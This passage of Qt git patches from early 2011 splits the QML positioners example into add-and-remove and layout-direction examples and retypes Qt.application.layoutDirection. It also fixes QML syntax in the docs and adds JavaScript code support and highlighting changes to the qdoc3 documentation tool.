+ +} diff --git a/examples/declarative/positioners/addandremove/addandremove.qmlproject b/examples/declarative/positioners/addandremove/addandremove.qmlproject new file mode 100644 index 0000000..e526217 --- /dev/null +++ b/examples/declarative/positioners/addandremove/addandremove.qmlproject @@ -0,0 +1,18 @@ +/* File generated by QtCreator */ + +import QmlProject 1.0 + +Project { + /* Include .qml, .js, and image files from current directory and subdirectories */ + QmlFiles { + directory: "." + } + JavaScriptFiles { + directory: "." + } + ImageFiles { + directory: "." + } + /* List of plugin directories passed to QML runtime */ + // importPaths: [ " ../exampleplugin " ] +} diff --git a/examples/declarative/positioners/addandremove/del.png b/examples/declarative/positioners/addandremove/del.png new file mode 100644 index 0000000..8d2eaed Binary files /dev/null and b/examples/declarative/positioners/addandremove/del.png differ diff --git a/examples/declarative/positioners/del.png b/examples/declarative/positioners/del.png deleted file mode 100644 index 8d2eaed..0000000 Binary files a/examples/declarative/positioners/del.png and /dev/null differ diff --git a/examples/declarative/positioners/layoutdirection/layoutdirection.qml b/examples/declarative/positioners/layoutdirection/layoutdirection.qml new file mode 100644 index 0000000..3e23b15 --- /dev/null +++ b/examples/declarative/positioners/layoutdirection/layoutdirection.qml @@ -0,0 +1,151 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the examples of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.1 + +Rectangle { + + width: column.width + 100 + height: column.height + 100 + property int direction: Qt.application.layoutDirection + + Column { + id: column + spacing: 10 + anchors.centerIn: parent + width: 230 + + Text { + text: "Row" + anchors.horizontalCenter: parent.horizontalCenter + } + Row { + layoutDirection: direction + spacing: 10 + move: Transition { + NumberAnimation { + properties: "x" + } + } + Repeater { + model: 4 + Loader { + property int value: index + sourceComponent: delegate + } + } + } + Text { + text: "Grid" + anchors.horizontalCenter: parent.horizontalCenter + } + Grid { + layoutDirection: direction + spacing: 10; columns: 4 + move: Transition { + NumberAnimation { + properties: "x" + } + } + Repeater { + model: 11 + Loader { + property int value: index + sourceComponent: delegate + } + } + } + Text { + text: "Flow" + anchors.horizontalCenter: parent.horizontalCenter + } + Flow { + layoutDirection: direction + spacing: 10; width: parent.width + move: Transition { + NumberAnimation { + properties: "x" + } + } + Repeater { + model: 10 + Loader { + property int value: index + sourceComponent: delegate + } + } + } + Rectangle { + height: 50; width: parent.width + color: mouseArea.pressed ? "black" : "gray" + Text { + text: direction ? "Right to left" : "Left to right" + color: "white" + font.pixelSize: 16 + anchors.centerIn: parent + } + MouseArea { + id: mouseArea + onClicked: { + if (direction == Qt.LeftToRight) { + direction = Qt.RightToLeft; + } else { + direction = Qt.LeftToRight; + } + } + anchors.fill: parent + } + } + } + + Component { + id: delegate + Rectangle { + width: 50; height: 50 + color: Qt.rgba(0.8/(parent.value+1),0.8/(parent.value+1),0.8/(parent.value+1),1.0) + Text { + text: parent.parent.value+1 + color: "white" + font.pixelSize: 20 + anchors.centerIn: parent + } + } + } +} diff --git a/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject b/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject new file mode 100644 index 0000000..e526217 --- /dev/null +++ b/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject @@ -0,0 +1,18 @@ +/* File generated by QtCreator */ + +import QmlProject 1.0 + +Project { + /* Include .qml, .js, and image files from current directory and subdirectories */ + QmlFiles { + directory: "." + } + JavaScriptFiles { + directory: "." + } + ImageFiles { + directory: "." + } + /* List of plugin directories passed to QML runtime */ + // importPaths: [ " ../exampleplugin " ] +} diff --git a/examples/declarative/positioners/positioners.qml b/examples/declarative/positioners/positioners.qml deleted file mode 100644 index 7d6d8fe..0000000 --- a/examples/declarative/positioners/positioners.qml +++ /dev/null @@ -1,253 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - width: 420; height: 420 - - Column { - id: layout1 - y: 0 - move: Transition { - NumberAnimation { properties: "y"; easing.type: Easing.OutBounce } - } - add: Transition { - NumberAnimation { properties: "y"; easing.type: Easing.OutQuad } - } - - Rectangle { color: "red"; width: 100; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueV1 - width: 100; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 100; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueV2 - width: 100; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 100; height: 50; border.color: "black"; radius: 15 } - } - - Row { - id: layout2 - y: 300 - move: Transition { - NumberAnimation { properties: "x"; easing.type: Easing.OutBounce } - } - add: Transition { - NumberAnimation { properties: "x"; easing.type: Easing.OutQuad } - } - - Rectangle { color: "red"; width: 50; height: 100; border.color: "black"; radius: 15 } - - Rectangle { - id: blueH1 - width: 50; height: 100 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 50; height: 100; border.color: "black"; radius: 15 } - - Rectangle { - id: blueH2 - width: 50; height: 100 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 50; height: 100; border.color: "black"; radius: 15 } - } - - Button { - x: 135; y: 90 - text: "Remove" - icon: "del.png" - - onClicked: { - blueH2.opacity = 0 - blueH1.opacity = 0 - blueV1.opacity = 0 - blueV2.opacity = 0 - blueG1.opacity = 0 - blueG2.opacity = 0 - blueG3.opacity = 0 - blueF1.opacity = 0 - blueF2.opacity = 0 - blueF3.opacity = 0 - } - } - - Button { - x: 145; y: 140 - text: "Add" - icon: "add.png" - - onClicked: { - blueH2.opacity = 1 - blueH1.opacity = 1 - blueV1.opacity = 1 - blueV2.opacity = 1 - blueG1.opacity = 1 - blueG2.opacity = 1 - blueG3.opacity = 1 - blueF1.opacity = 1 - blueF2.opacity = 1 - blueF3.opacity = 1 - } - } - - Grid { - x: 260; y: 0 - columns: 3 - - move: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - add: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueG1 - width: 50; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueG2 - width: 50; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueG3 - width: 50; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } - Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } - Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } - } - - Flow { - id: layout4 - x: 260; y: 250; width: 150 - - move: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - add: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueF1 - width: 60; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 30; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueF2 - width: 60; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueF3 - width: 40; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "red"; width: 80; height: 50; border.color: "black"; radius: 15 } - } - -} diff --git a/examples/declarative/positioners/positioners.qmlproject b/examples/declarative/positioners/positioners.qmlproject deleted file mode 100644 index e526217..0000000 --- a/examples/declarative/positioners/positioners.qmlproject +++ /dev/null @@ -1,18 +0,0 @@ -/* File generated by QtCreator */ - -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } - /* List of plugin directories passed to QML runtime */ - // importPaths: [ " ../exampleplugin " ] -} diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 557c88b..a2a167e 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -381,7 +381,7 @@ void QDeclarativeBasePositioner::finishApplyTransitions() Items with a width or height of 0 will not be positioned. - \sa Row, Grid, Flow, {declarative/positioners}{Positioners example} + \sa Row, Grid, Flow, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty Transition Column::add @@ -421,7 +421,7 @@ void QDeclarativeBasePositioner::finishApplyTransitions() } \endqml - \sa add, {declarative/positioners}{Positioners example} + \sa add, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty int Column::spacing @@ -524,7 +524,7 @@ void QDeclarativeColumn::reportConflictingAnchors() Items with a width or height of 0 will not be positioned. - \sa Column, Grid, Flow, {declarative/positioners}{Positioners example} + \sa Column, Grid, Flow, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty Transition Row::add @@ -563,7 +563,7 @@ void QDeclarativeColumn::reportConflictingAnchors() } \endqml - \sa add, {declarative/positioners}{Positioners example} + \sa add, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty int Row::spacing @@ -591,7 +591,7 @@ QDeclarativeRow::QDeclarativeRow(QDeclarativeItem *parent) the right anchor remains to the right of the row. \endlist - \sa Grid::layoutDirection, Flow::layoutDirection + \sa Grid::layoutDirection, Flow::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example} */ Qt::LayoutDirection QDeclarativeRow::layoutDirection() const { @@ -728,7 +728,7 @@ void QDeclarativeRow::reportConflictingAnchors() Items with a width or height of 0 will not be positioned. - \sa Flow, Row, Column, {declarative/positioners}{Positioners example} + \sa Flow, Row, Column, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty Transition Grid::add @@ -766,7 +766,7 @@ void QDeclarativeRow::reportConflictingAnchors() } \endqml - \sa add, {declarative/positioners}{Positioners example} + \sa add, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty int Grid::spacing @@ -868,7 +868,7 @@ void QDeclarativeGrid::setFlow(Flow flow) \l Grid::flow property. \endlist - \sa Flow::layoutDirection, Row::layoutDirection + \sa Flow::layoutDirection, Row::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example} */ Qt::LayoutDirection QDeclarativeGrid::layoutDirection() const { @@ -1092,7 +1092,7 @@ void QDeclarativeGrid::reportConflictingAnchors() Items with a width or height of 0 will not be positioned. - \sa Column, Row, Grid, {declarative/positioners}{Positioners example} + \sa Column, Row, Grid, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty Transition Flow::add @@ -1131,7 +1131,7 @@ void QDeclarativeGrid::reportConflictingAnchors() } \endqml - \sa add, {declarative/positioners}{Positioners example} + \sa add, {declarative/positioners/addandremove}{Positioners example} */ /*! \qmlproperty int Flow::spacing @@ -1210,8 +1210,9 @@ void QDeclarativeFlow::setFlow(Flow flow) \l Flow::flow property. \endlist - \sa Grid::layoutDirection, Row::layoutDirection + \sa Grid::layoutDirection, Row::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example} */ + Qt::LayoutDirection QDeclarativeFlow::layoutDirection() const { Q_D(const QDeclarativeFlow); -- cgit v0.12 From 1f54c358fcc3eb53dc0cf689f59e2e6913dcf239 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 19:13:44 +1000 Subject: Change Qt.application.layoutDirection from bool to correct type of Qt::LayoutDirection Task-number: QTBUG-16424 Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativeapplication.cpp | 13 +++++++++++-- src/declarative/util/qdeclarativeapplication_p.h | 4 ++-- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp index 7559aa9..7ecce1e 100644 --- a/src/declarative/util/qdeclarativeapplication.cpp +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -103,7 +103,7 @@ bool QDeclarativeApplication::active() const } /*! - \qmlproperty bool Application::layoutDirection + \qmlproperty enumeration Application::layoutDirection This property can be used to query the default layout direction of the application. On system start-up, the default layout direction depends on the @@ -113,8 +113,17 @@ bool QDeclarativeApplication::active() const property to customize your application layouts to support both layout directions. This property is readonly. + Possible values are: + + \list + \o Qt.LeftToRight - Text and graphics elements should be positioned + from left to right. + \o Qt.RightToLeft - Text and graphics elements should be positioned + from right to left. + \endlist + */ -bool QDeclarativeApplication::layoutDirection() const +Qt::LayoutDirection QDeclarativeApplication::layoutDirection() const { Q_D(const QDeclarativeApplication); return d->layoutDirection; diff --git a/src/declarative/util/qdeclarativeapplication_p.h b/src/declarative/util/qdeclarativeapplication_p.h index c5cd227..caaed18 100644 --- a/src/declarative/util/qdeclarativeapplication_p.h +++ b/src/declarative/util/qdeclarativeapplication_p.h @@ -57,13 +57,13 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeApplication : public QObject { Q_OBJECT Q_PROPERTY(bool active READ active NOTIFY activeChanged) - Q_PROPERTY(bool layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged) + Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged) public: explicit QDeclarativeApplication(QObject *parent = 0); virtual ~QDeclarativeApplication(); bool active() const; - bool layoutDirection() const; + Qt::LayoutDirection layoutDirection() const; protected: bool eventFilter(QObject *obj, QEvent *event); -- cgit v0.12 From 59a35a794e433f9526aff72025c0899e76ef362e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 19 Jan 2011 15:49:41 +0100 Subject: Doc: Fixed QML syntax. --- doc/src/getting-started/examples.qdoc | 6 ++-- src/declarative/graphicsitems/qdeclarativeitem.cpp | 32 ++++++++++++++-------- src/declarative/graphicsitems/qdeclarativepath.cpp | 6 ++-- 3 files changed, 27 insertions(+), 17 deletions(-) diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc index 67000e2..296e032 100644 --- a/doc/src/getting-started/examples.qdoc +++ b/doc/src/getting-started/examples.qdoc @@ -488,10 +488,12 @@ \image ipc-examples.png \list - \o \l{ipc/localfortuneclient}{Local Fortune Client}\raisedaster - \o \l{ipc/localfortuneserver}{Local Fortune Server}\raisedaster + \o \l{ipc/localfortuneclient}{Local Fortune Client} + \o \l{ipc/localfortuneserver}{Local Fortune Server} \o \l{ipc/sharedmemory}{Shared Memory}\raisedaster \endlist + + Examples marked with an asterisk (*) are fully documented. */ /*! diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 2e3a5a2..7ddf949 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -799,10 +799,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post) This example forwards key events to two lists: \qml - ListView { id: list1 ... } - ListView { id: list2 ... } - Keys.forwardTo: [list1, list2] - focus: true + Item { + ListView { + id: list1 + // ... + } + ListView { + id: list2 + // ... + } + Keys.forwardTo: [list1, list2] + focus: true + } \endqml */ @@ -2542,14 +2550,14 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi This property is often used in scripts to change between states. For example: - \qml - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } - \endqml + \js + function toggle() { + if (button.state == 'On') + button.state = 'Off'; + else + button.state = 'On'; + } + \endjs If the item is in its base state (i.e. no explicit state has been set), \c state will be a blank string. Likewise, you can return an diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index bc395d2..48e3f66 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -845,7 +845,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -859,7 +859,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -892,7 +892,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \qml PathView { - ... + // ... Path { startX: 0; startY: 0 PathLine { x:100; y: 0; } -- cgit v0.12 From 2d2ac3395663bb3b5335073b4120cc909194edfb Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:14:44 +0100 Subject: Ensured that QML elements are marked up as types. --- tools/qdoc3/qmlmarkupvisitor.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 9916be2..7acac48 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -862,8 +862,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { QHash attributes; - attributes[QLatin1String("node")] = sourceText(definition->qualifiedTypeNameId->identifierToken); - addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("link"), attributes); + addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("type")); QDeclarativeJS::AST::Node::accept(definition->initializer, this); return false; } -- cgit v0.12 From 41f93881ad51d21aece16d8c1c272c0ff3246db8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:18:30 +0100 Subject: Added a \js command for JavaScript code. --- tools/qdoc3/doc.cpp | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 774f8ba..140545a 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -96,6 +96,7 @@ enum { #ifdef QDOC_QML CMD_QML, CMD_ENDQML, CMD_CPP, CMD_ENDCPP, CMD_QMLTEXT, CMD_ENDQMLTEXT, CMD_CPPTEXT, CMD_ENDCPPTEXT, + CMD_JS, CMD_ENDJS, #endif NOT_A_CMD }; @@ -202,6 +203,8 @@ static struct { { "endqmltext", CMD_ENDQMLTEXT, 0 }, { "cpptext", CMD_CPPTEXT, 0 }, { "endcpptext", CMD_ENDCPPTEXT, 0 }, + { "js", CMD_JS, 0 }, + { "endjs", CMD_ENDJS, 0 }, #endif { 0, 0, 0 } }; @@ -557,6 +560,10 @@ void DocParser::parse(const QString& source, case CMD_QMLTEXT: append(Atom::QmlText); break; + case CMD_JS: + leavePara(); + append(Atom::JavaScript, getCode(CMD_JS, CodeMarker::markerForLanguage(QLatin1String("JavaScript")))); + break; #endif case CMD_DIV: leavePara(); @@ -644,6 +651,9 @@ void DocParser::parse(const QString& source, case CMD_ENDQMLTEXT: append(Atom::EndQmlText); break; + case CMD_ENDJS: + closeCommand(cmd); + break; #endif case CMD_ENDFOOTNOTE: if (closeCommand(cmd)) { @@ -2406,6 +2416,8 @@ int DocParser::endCmdFor(int cmd) return CMD_ENDQML; case CMD_QMLTEXT: return CMD_ENDQMLTEXT; + case CMD_JS: + return CMD_ENDJS; #endif case CMD_FOOTNOTE: return CMD_ENDFOOTNOTE; -- cgit v0.12 From 0418b2b540fcb0e3d76299e3df69ad600292adf9 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:26:10 +0100 Subject: Ongoing improvements and fixes to syntax highlighting. Added an atom for JavaScript code. Fixed example file quoting to use the appropriate atom for each file. Changed C++ code marking to mark up classes as types. Fixed C++ quoting bug that caused the last character to be lost. Fixed indentation of code to not insert spaces inside elements. Documented the change in the meaning of the \c command. Simplified the use of CSS classes in the HTML output. --- tools/qdoc3/atom.h | 36 ++++++++++++++++++++---------------- tools/qdoc3/codemarker.h | 2 ++ tools/qdoc3/cppcodemarker.cpp | 35 ++++++++++++++++++++++++++--------- tools/qdoc3/cppcodemarker.h | 1 + tools/qdoc3/generator.cpp | 28 ++++++++++------------------ tools/qdoc3/htmlgenerator.cpp | 23 +++++++++++++++++------ tools/qdoc3/jscodemarker.cpp | 8 ++++++++ tools/qdoc3/jscodemarker.h | 1 + tools/qdoc3/plaincodemarker.cpp | 5 +++++ tools/qdoc3/plaincodemarker.h | 1 + tools/qdoc3/qmlcodemarker.cpp | 8 ++++++++ tools/qdoc3/qmlcodemarker.h | 1 + 12 files changed, 100 insertions(+), 49 deletions(-) diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index a20e057..ab4ee44 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -78,9 +78,9 @@ class Atom EndQmlText, #endif FootnoteLeft, - FootnoteRight, + FootnoteRight, // 20 FormatElse, - FormatEndif, // 20 + FormatEndif, FormatIf, FormattingLeft, FormattingRight, @@ -88,19 +88,23 @@ class Atom GuidLink, Image, ImageText, - InlineImage, + InlineImage, // 30 +#ifdef QDOC_QML + JavaScript, + EndJavaScript, +#endif LegaleseLeft, - LegaleseRight, // 30 + LegaleseRight, LineBreak, Link, LinkNode, ListLeft, ListItemNumber, - ListTagLeft, // 36 - ListTagRight, // 37 - ListItemLeft, // 38 - ListItemRight, // 39 - ListRight, // 40 + ListTagLeft, // 40 + ListTagRight, // 41 + ListItemLeft, // 42 + ListItemRight, // 43 + ListRight, // 44 Nop, ParaLeft, ParaRight, @@ -108,30 +112,30 @@ class Atom Qml, QmlText, #endif - QuotationLeft, + QuotationLeft, // 50 QuotationRight, RawString, - SectionLeft, // 49 + SectionLeft, // 53 SectionRight, SectionHeadingLeft, SectionHeadingRight, SidebarLeft, SidebarRight, SinceList, - SnippetCommand, + SnippetCommand, // 60 SnippetIdentifier, SnippetLocation, - String, // 59 - TableLeft, // 60 + String, // 63 + TableLeft, // 64 TableRight, TableHeaderLeft, TableHeaderRight, TableRowLeft, TableRowRight, - TableItemLeft, + TableItemLeft, // 70 TableItemRight, TableOfContents, - Target, // 69 + Target, // 73 UnhandledFormat, UnknownCommand, Last = UnknownCommand diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index e643082..6c45581 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -48,6 +48,7 @@ #include +#include "atom.h" #include "node.h" QT_BEGIN_NAMESPACE @@ -121,6 +122,7 @@ class CodeMarker virtual bool recognizeCode(const QString& code) = 0; virtual bool recognizeExtension(const QString& ext) = 0; virtual bool recognizeLanguage(const QString& lang) = 0; + virtual Atom::Type atomType() const = 0; virtual QString plainName(const Node *node) = 0; virtual QString plainFullName(const Node *node, const Node *relative = 0) = 0; diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 2b7db62..9b696a7 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -103,6 +103,14 @@ bool CppCodeMarker::recognizeLanguage(const QString &lang) } /*! + Returns the type of atom used to represent C++ code in the documentation. +*/ +Atom::Type CppCodeMarker::atomType() const +{ + return Atom::Code; +} + +/*! Returns the \a node name, or "()" if \a node is a Node::Function node. */ @@ -417,7 +425,6 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) code += "<@preprocessor>#include <<@headerfile>" + *inc + ">\n"; ++inc; } - Location location; return code; } @@ -937,6 +944,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, while (ch != EOF) { int second = i; QString tag; + bool target = false; if (isalpha(ch) || ch == '_') { QString ident; @@ -946,9 +954,10 @@ QString CppCodeMarker::addMarkUp(const QString &in, } while (isalnum(ch) || ch == '_'); if (classRegExp.exactMatch(ident)) { - tag = QLatin1String("class"); + tag = QLatin1String("type"); } else if (functionRegExp.exactMatch(ident)) { - tag = QLatin1String("function"); + tag = QLatin1String("func"); + target = true; } else if (types.contains(ident)) { tag = QLatin1String("type"); } else if (keywords.contains(ident)) { @@ -956,7 +965,8 @@ QString CppCodeMarker::addMarkUp(const QString &in, } else if (braceDepth == 0 && parenDepth == 0) { if (QString(code.unicode() + i - 1, code.length() - (i - 1)) .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0) - tag = QLatin1String("function"); + tag = QLatin1String("func"); + target = true; } } else if (isdigit(ch)) { do { @@ -1074,13 +1084,20 @@ QString CppCodeMarker::addMarkUp(const QString &in, } } - if (!tag.isEmpty()) - out += QLatin1String("<@") + tag + QLatin1String(">"); - + QString text; if (tag.isEmpty() && i == code.length()) - out += protect(code.mid(second - 1, i - second + 1)); + text = code.mid(second - 1, i - second + 1); else - out += protect(code.mid(second - 1, i - second)); + text = code.mid(second - 1, i - second); + + if (!tag.isEmpty()) { + out += QLatin1String("<@") + tag; + if (target) + out += QLatin1String(" target=\"") + text + QLatin1String("()\""); + out += QLatin1String(">"); + } + + out += protect(text); if (!tag.isEmpty()) out += QLatin1String(""); diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h index bb307f9..8206dbe 100644 --- a/tools/qdoc3/cppcodemarker.h +++ b/tools/qdoc3/cppcodemarker.h @@ -59,6 +59,7 @@ class CppCodeMarker : 